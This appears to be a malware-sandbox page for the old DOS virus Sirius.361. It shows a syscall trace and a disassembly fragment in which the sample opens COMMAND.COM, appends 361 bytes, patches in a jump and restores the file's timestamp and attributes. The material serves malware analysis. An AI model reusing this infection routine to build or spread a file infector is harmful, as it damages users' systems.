Sample viewer

vx.netlux.org/Virus.DOS.Sirius.361

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:15:57.136973791Z 47 PC: 12b96 | Get disk transfer address
2018-12-17T23:15:57.138705126Z 26 PC: 12ba8 | Set disk transfer address
2018-12-17T23:15:57.141257653Z 25 PC: 12bb7 | Get default drive
2018-12-17T23:15:57.142324358Z 14 PC: 12bc1 | Set default drive (Drive = 'C')
2018-12-17T23:15:57.143599976Z 78 PC: 12bce | Find first file
2018-12-17T23:15:57.150393294Z 67 PC: 12c01 | Get or set file attributes
2018-12-17T23:15:57.155545569Z 67 PC: 12c0e | Get or set file attributes
2018-12-17T23:15:57.489389397Z 61 PC: 12c16 | Open file (Filename = 'COMMAND.COM')
2018-12-17T23:15:57.49671727Z 87 PC: 12c1d | Get or set file date and time
2018-12-17T23:15:57.498494711Z 44 PC: 12c2b | Get time 0x12c2b: or dl, dl
0x12c2d: je 0x12c27
0x12c2f: mov byte ptr [bp + 0x163], dl
0x12c33: mov ah, 0x3f
0x12c35: lea dx, word ptr [bp + 0x15a]
0x12c39: mov cx, 3
0x12c3c: int 0x21
0x12c3e: mov ax, 0x4202
0x12c41: xor cx, cx
0x12c43: xor dx, dx
0x12c45: int 0x21
0x12c47: sub ax, 3
0x12c4a: mov word ptr cs:[0xfb2d], ax
0x12c4e: mov byte ptr cs:[0xfb2c], 0xe9
0x12c54: lea si, word ptr [bp - 3]
0x12c57: mov di, 0xfcbc
0x12c5a: mov cx, 0x169
0x12c5d: cld
0x12c5e: rep movsb byte ptr es:[di], byte ptr [si]
0x12c60: mov si, 0xfcd8
2018-12-17T23:15:57.501001603Z 63 PC: 12c3e | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:15:57.504936129Z 66 PC: 12c47 | Move file pointer
2018-12-17T23:15:57.506619904Z 64 PC: 12c70 | Write file or device (Write 361 bytes on handle 5)
2018-12-17T23:15:57.51386969Z 66 PC: 12c79 | Move file pointer
2018-12-17T23:15:57.515828943Z 64 PC: 12c83 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:15:57.518377212Z 87 PC: 12c98 | Get or set file date and time
2018-12-17T23:15:57.52007321Z 62 PC: 12c9c | Close file
2018-12-17T23:15:57.527873442Z 67 PC: 12ca9 | Get or set file attributes
2018-12-17T23:15:57.537490428Z 26 PC: 12cb8 | Set disk transfer address
2018-12-17T23:15:57.538687478Z 14 PC: 12cc2 | Set default drive (Drive = 'A')